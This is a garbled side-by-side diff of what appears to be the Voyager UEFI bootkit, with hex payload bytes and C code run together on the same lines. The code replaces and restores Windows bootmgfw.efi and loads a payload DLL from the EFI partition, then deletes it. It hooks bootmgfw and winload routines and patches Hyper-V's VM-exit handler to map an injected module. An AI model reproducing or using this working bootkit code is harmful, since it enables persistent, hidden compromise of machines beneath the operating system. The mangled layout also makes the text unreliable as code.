0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, Print(L"unable to delete payload file... reason -> %r\n", Result);
0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, return Result;
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, }
0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xBF, 0x31, 0xDD, *PayLoadBufferPtr = PayLoadBuffer;
0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, gBS->FreePool(FileInfoPtr);
0xDC, 0xAF, 0x5A, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5F, 0x8F, return EFI_SUCCESS;
0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5D, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, }
0x52, 0x69, 0x63, 0x68, 0x6B, 0xDE, 0x5F, 0x8E, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x05, 0x00,
0xF8, 0x21, 0x6C, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, Print(L"unable to find payload on disk...\n");
0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x0E, 0x1B, 0x00, 0x02, 0x00, 0x00, return EFI_ABORTED;
0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, }
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x60, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x06, 0x3A, 0x00, 0x00,
0x01, 0x00, 0x60, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
0xD3, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x32, 0x50, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x50, 0x00, 0x00,
0x2C, 0x50, 0x00, 0x00, 0x30, 0x50, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00,
0x46, 0x50, 0x00, 0x00, 0x00, 0x00, 0x54, 0x68, 0x65, 0x47, 0x6F, 0x6C,
0x64, 0x65, 0x6E, 0x52, 0x65, 0x63, 0x6F, 0x72, 0x64, 0x2E, 0x64, 0x6C,
0x6C, 0x00, 0x3F, 0x76, 0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x5F, 0x63,
0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x40, 0x40, 0x33, 0x55, 0x5F, 0x56,
0x4F, 0x59, 0x41, 0x47, 0x45, 0x52, 0x5F, 0x44, 0x41, 0x54, 0x41, 0x5F,
0x54, 0x40, 0x40, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

@ -1,17 +1,22 @@
#pragma once #pragma once
#include "Utils.h" #include "Utils.h"
extern unsigned char PayLoad[3072]; #include <Library/ShellLib.h>
extern VOID* PayLoad;
#pragma pack(push, 1) #pragma pack(push, 1)
typedef struct _voyager_t typedef struct _VOYAGER_T
{ {
UINT64 VmExitHandlerRva; UINT64 VmExitHandlerRva;
UINT64 HypervModuleBase; UINT64 HypervModuleBase;
UINT64 HypervModuleSize; UINT64 HypervModuleSize;
UINT64 ModuleBase; UINT64 ModuleBase;
UINT64 ModuleSize; UINT64 ModuleSize;
} voyager_t, * pvoyager_t; } VOYAGER_T, * PVOYAGER_T;
#pragma pack(pop) #pragma pack(pop)
#define WINDOWS_BOOTMGFW_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi"
#define PAYLOAD_PATH L"\\efi\\microsoft\\boot\\payload.dll"
UINT32 PayLoadSize(VOID); UINT32 PayLoadSize(VOID);
EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr);
VOID* PayLoadEntry(VOID* ModuleBase); VOID* PayLoadEntry(VOID* ModuleBase);

@ -1,40 +1,62 @@
#include "BootMgfw.h" #include "BootMgfw.h"
#include "SplashScreen.h" #include "SplashScreen.h"
CHAR8* gEfiCallerBaseName = "Voyager"; CHAR8* gEfiCallerBaseName = "Voyager 1";
const UINT32 _gUefiDriverRevision = 0x200; const UINT32 _gUefiDriverRevision = 0x200;
EFI_STATUS EFIAPI UefiUnload( EFI_STATUS EFIAPI UefiUnload(EFI_HANDLE ImageHandle)
IN EFI_HANDLE ImageHandle {
) return EFI_SUCCESS;
{ return EFI_SUCCESS; } }
EFI_STATUS EFIAPI UefiMain EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE* SystemTable
)
{ {
EFI_STATUS Result; EFI_STATUS Result;
EFI_DEVICE_PATH_PROTOCOL* BootMgfwPath; EFI_HANDLE BootMgfwHandle;
gST->ConOut->ClearScreen(gST->ConOut); gST->ConOut->ClearScreen(gST->ConOut);
gST->ConOut->OutputString(gST->ConOut, AsciiArt); gST->ConOut->OutputString(gST->ConOut, AsciiArt);
Print(L"\n"); Print(L"\n");
// since we replaced bootmgfw on disk, we are going to need to restore the image back
// this is simply just moving bootmgfw.efi.backup to bootmgfw.efi...
if (EFI_ERROR((Result = RestoreBootMgfw()))) if (EFI_ERROR((Result = RestoreBootMgfw())))
{ {
Print(L"unable to restore bootmgfw... reason -> %r\n", Result); Print(L"unable to restore bootmgfw... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result;
}
// the payload is sitting on disk... we are going to load it into memory...
if (EFI_ERROR((Result = LoadPayLoadFromDisk(&PayLoad))))
{
Print(L"failed to read payload from disk... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
if (EFI_ERROR((Result = InstallBootMgfwHooks(ImageHandle)))) EFI_DEVICE_PATH* BootMgfwPath = GetBootMgfwPath();
if (EFI_ERROR((Result = gBS->LoadImage(TRUE, ImageHandle, BootMgfwPath, NULL, NULL, &BootMgfwHandle))))
{
Print(L"failed to load bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
if (EFI_ERROR((Result = InstallBootMgfwHooks(BootMgfwHandle))))
{ {
Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result); Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
Print(L"Hooks installed... returning execution back to BootMgfw...\n"); if (EFI_ERROR(gBS->StartImage(BootMgfwHandle, NULL, NULL)))
{
Print(L"Failed to start bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
gBS->Stall(5 * 1000000); gBS->Stall(5 * 1000000);
return EFI_SUCCESS; return EFI_SUCCESS;
} }

@ -35,12 +35,6 @@ EFI_STATUS EFIAPI BlImgLoadPEImageEx(VOID* a1, VOID* a2, CHAR16* ImagePath, UINT
ALLOCATE_IMAGE_BUFFER_MASK ALLOCATE_IMAGE_BUFFER_MASK
); );
if (!LoadImage || !AllocImage)
{
DBG_PRINT("Signatures FAILED!\n");
return Result;
}
#if WINVER == 1703 #if WINVER == 1703
MakeShitHook(&HvLoadImageBufferHook, RESOLVE_RVA(LoadImage, 5, 1), &HvBlImgLoadPEImageFromSourceBuffer, TRUE); MakeShitHook(&HvLoadImageBufferHook, RESOLVE_RVA(LoadImage, 5, 1), &HvBlImgLoadPEImageFromSourceBuffer, TRUE);
#elif WINVER <= 1607 // 1511 is the same... #elif WINVER <= 1607 // 1511 is the same...

@ -131,6 +131,49 @@ EFI_STATUS EFIAPI RestoreBootMgfw(VOID)
return EFI_ABORTED; return EFI_ABORTED;
} }
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID)
{
UINTN HandleCount = NULL;
EFI_STATUS Result;
EFI_HANDLE* Handles = NULL;
EFI_DEVICE_PATH* DevicePath = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE BootMgfwHandle;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return DevicePath;
}
for (UINT32 Idx = 0u; Idx < HandleCount && !FileSystem; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return DevicePath;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return DevicePath;
}
if (!EFI_ERROR(VolumeHandle->Open(VolumeHandle, &BootMgfwHandle, WINDOWS_BOOTMGFW_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY)))
DevicePath = FileDevicePath(Handles[Idx], WINDOWS_BOOTMGFW_PATH);
VolumeHandle->Close(BootMgfwHandle);
if (EFI_ERROR((Result = gBS->CloseProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, gImageHandle, NULL))))
{
Print(L"error closing protocol -> 0x%p\n", Result);
return DevicePath;
}
}
return DevicePath;
}
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath) EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath)
{ {
EFI_STATUS Result = EFI_SUCCESS; EFI_STATUS Result = EFI_SUCCESS;
@ -149,9 +192,6 @@ EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath)
START_BOOT_APPLICATION_MASK START_BOOT_APPLICATION_MASK
); );
if (!ArchStartBootApplication)
return EFI_ABORTED;
Print(L"BootMgfw.ArchStartBootApplication -> 0x%p\n", ArchStartBootApplication); Print(L"BootMgfw.ArchStartBootApplication -> 0x%p\n", ArchStartBootApplication);
MakeShitHook(&BootMgfwShitHook, ArchStartBootApplication, &ArchStartBootApplicationHook, TRUE); MakeShitHook(&BootMgfwShitHook, ArchStartBootApplication, &ArchStartBootApplicationHook, TRUE);
return Result; return Result;
@ -172,6 +212,7 @@ EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase,
gST->ConOut->ClearScreen(gST->ConOut); gST->ConOut->ClearScreen(gST->ConOut);
gST->ConOut->OutputString(gST->ConOut, AsciiArt); gST->ConOut->OutputString(gST->ConOut, AsciiArt);
Print(L"\n"); Print(L"\n");
Print(L"Hyper-V PayLoad Size -> 0x%x\n", PayLoadSize()); Print(L"Hyper-V PayLoad Size -> 0x%x\n", PayLoadSize());
Print(L"winload.BlLdrLoadImage -> 0x%p\n", LdrLoadImage); Print(L"winload.BlLdrLoadImage -> 0x%p\n", LdrLoadImage);
Print(L"winload.BlImgAllocateImageBuffer -> 0x%p\n", ImgAllocateImageBuffer); Print(L"winload.BlImgAllocateImageBuffer -> 0x%p\n", ImgAllocateImageBuffer);

@ -27,10 +27,12 @@
static_assert(sizeof(START_BOOT_APPLICATION_SIG) == sizeof(START_BOOT_APPLICATION_MASK), "signature and mask size's dont match..."); static_assert(sizeof(START_BOOT_APPLICATION_SIG) == sizeof(START_BOOT_APPLICATION_MASK), "signature and mask size's dont match...");
#define WINDOWS_BOOTMGFW_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi" #define WINDOWS_BOOTMGFW_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi"
#define PAYLOAD_PATH L"\\efi\\microsoft\\boot\\payload.dll"
#define WINDOWS_BOOTMGFW_BACKUP_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi.backup" #define WINDOWS_BOOTMGFW_BACKUP_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi.backup"
extern SHITHOOK BootMgfwShitHook; extern SHITHOOK BootMgfwShitHook;
typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*); typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*);
EFI_STATUS EFIAPI RestoreBootMgfw(VOID); EFI_STATUS EFIAPI RestoreBootMgfw(VOID);
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID);
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath); EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE BootMgfwPath);
EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs); EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs);

@ -1,6 +1,6 @@
#include "Hvix64.h" #include "Hvix64.h"
VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase) VOID* MapModule(PVOYAGER_T VoyagerData, UINT8* ImageBase)
{ {
if (!VoyagerData || !ImageBase) if (!VoyagerData || !ImageBase)
return NULL; return NULL;
@ -44,7 +44,7 @@ VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase)
{ {
if (AsciiStrStr(VoyagerData->ModuleBase + Name[i], "voyager_context")) if (AsciiStrStr(VoyagerData->ModuleBase + Name[i], "voyager_context"))
{ {
*(voyager_t*)(VoyagerData->ModuleBase + Address[Ordinal[i]]) = *VoyagerData; *(VOYAGER_T*)(VoyagerData->ModuleBase + Address[Ordinal[i]]) = *VoyagerData;
break; // DO NOT REMOVE? #Stink Code 2020... break; // DO NOT REMOVE? #Stink Code 2020...
} }
} }
@ -91,7 +91,7 @@ VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase)
VOID MakeVoyagerData VOID MakeVoyagerData
( (
pvoyager_t VoyagerData, PVOYAGER_T VoyagerData,
VOID* HypervAlloc, VOID* HypervAlloc,
UINT64 HypervAllocSize, UINT64 HypervAllocSize,
VOID* PayLoadBase, VOID* PayLoadBase,
@ -140,9 +140,6 @@ VOID* HookVmExit(VOID* HypervBase, VOID* HypervSize, VOID* VmExitHook)
VMEXIT_HANDLER_MASK VMEXIT_HANDLER_MASK
); );
if (!VmExitHandler)
return NULL;
/* /*
.text:FFFFF80000237436 mov rcx, [rsp+arg_18] ; rcx = pointer to stack that contians all register values .text:FFFFF80000237436 mov rcx, [rsp+arg_18] ; rcx = pointer to stack that contians all register values
.text:FFFFF8000023743B mov rdx, [rsp+arg_28] .text:FFFFF8000023743B mov rdx, [rsp+arg_28]

@ -31,7 +31,7 @@ static_assert(sizeof(VMEXIT_HANDLER_SIG) == 26, "signature is invalid length!");
// AllocBase is the base address of the extra memory allocated below where hyper-v is // AllocBase is the base address of the extra memory allocated below where hyper-v is
// AllocSize is the size of the extra allocated memory... This size == module size... // AllocSize is the size of the extra allocated memory... This size == module size...
// //
VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase); VOID* MapModule(PVOYAGER_T VoyagerData, UINT8* ImageBase);
// //
// sig scan hv.exe for vmexit call and replace the relative call (RVA) with // sig scan hv.exe for vmexit call and replace the relative call (RVA) with
@ -46,7 +46,7 @@ VOID* HookVmExit(VOID* HypervBase, VOID* HypervSize, VOID* VmExitHook);
// //
VOID MakeVoyagerData VOID MakeVoyagerData
( (
pvoyager_t VoyagerData, PVOYAGER_T VoyagerData,
VOID* HypervAlloc, VOID* HypervAlloc,
UINT64 HypervAllocSize, UINT64 HypervAllocSize,
VOID* PayLoadBase, VOID* PayLoadBase,

@ -1,5 +1,9 @@
#include "PayLoad.h" #include "PayLoad.h"
// this can also just be set at compile time if you want too, but for PoC im going
// to read the payload from disk and delete it after...
VOID* PayLoad = NULL;
UINT32 PayLoadSize(VOID) UINT32 PayLoadSize(VOID)
{ {
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad; EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
@ -26,262 +30,91 @@ VOID* PayLoadEntry(VOID* ModuleBase)
return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint; return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint;
} }
unsigned char PayLoad[3072] = EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr)
{
EFI_STATUS Result = EFI_SUCCESS;
UINTN HandleCount = NULL;
EFI_HANDLE* Handles = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE PayLoadFileHandle;
EFI_DEVICE_PATH* PayLoadDevicePath = NULL;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
EFI_FILE_PROTOCOL* PayLoadFile = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return Result;
}
for (UINT32 Idx = 0u; Idx < HandleCount; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return Result;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return Result;
}
if (!EFI_ERROR((Result = VolumeHandle->Open(VolumeHandle, &PayLoadFileHandle, PAYLOAD_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY))))
{
VolumeHandle->Close(VolumeHandle);
PayLoadDevicePath = FileDevicePath(Handles[Idx], PAYLOAD_PATH);
if (EFI_ERROR((Result = EfiOpenFileByDevicePath(&PayLoadDevicePath, &PayLoadFile, EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, NULL))))
{
Print(L"failed to open payload file... reason -> %r\n", Result);
return Result;
}
EFI_FILE_INFO* FileInfoPtr = NULL;
UINTN FileInfoSize = NULL;
if (EFI_ERROR((Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, NULL))))
{
if (Result == EFI_BUFFER_TOO_SMALL)
{
gBS->AllocatePool(EfiBootServicesData, FileInfoSize, &FileInfoPtr);
if (EFI_ERROR(Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, FileInfoPtr)))
{
Print(L"get backup file information failed... reason -> %r\n", Result);
return Result;
}
}
else
{
Print(L"Failed to get file information... reason -> %r\n", Result);
return Result;
}
}
VOID* PayLoadBuffer = NULL;
UINTN PayLoadSize = FileInfoPtr->FileSize;
gBS->AllocatePool(EfiBootServicesData, FileInfoPtr->FileSize, &PayLoadBuffer);
if (EFI_ERROR((Result = PayLoadFile->Read(PayLoadFile, &PayLoadSize, PayLoadBuffer))))
{ {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, Print(L"Failed to read payload file into buffer... reason -> %r\n", Result);
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, return Result;
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, if (EFI_ERROR((Result = PayLoadFile->Delete(PayLoadFile))))
0xB8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, {
0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, Print(L"unable to delete payload file... reason -> %r\n", Result);
0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, return Result;
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, }
0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xBF, 0x31, 0xDD, *PayLoadBufferPtr = PayLoadBuffer;
0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, 0x6B, 0xDE, 0x5F, 0x8E, gBS->FreePool(FileInfoPtr);
0xDC, 0xAF, 0x5A, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5F, 0x8F, return EFI_SUCCESS;
0x6A, 0xDE, 0x5F, 0x8E, 0xDC, 0xAF, 0x5D, 0x8F, 0x6A, 0xDE, 0x5F, 0x8E, }
0x52, 0x69, 0x63, 0x68, 0x6B, 0xDE, 0x5F, 0x8E, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x05, 0x00,
0x00, 0x91, 0x77, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, Print(L"unable to find payload on disk...\n");
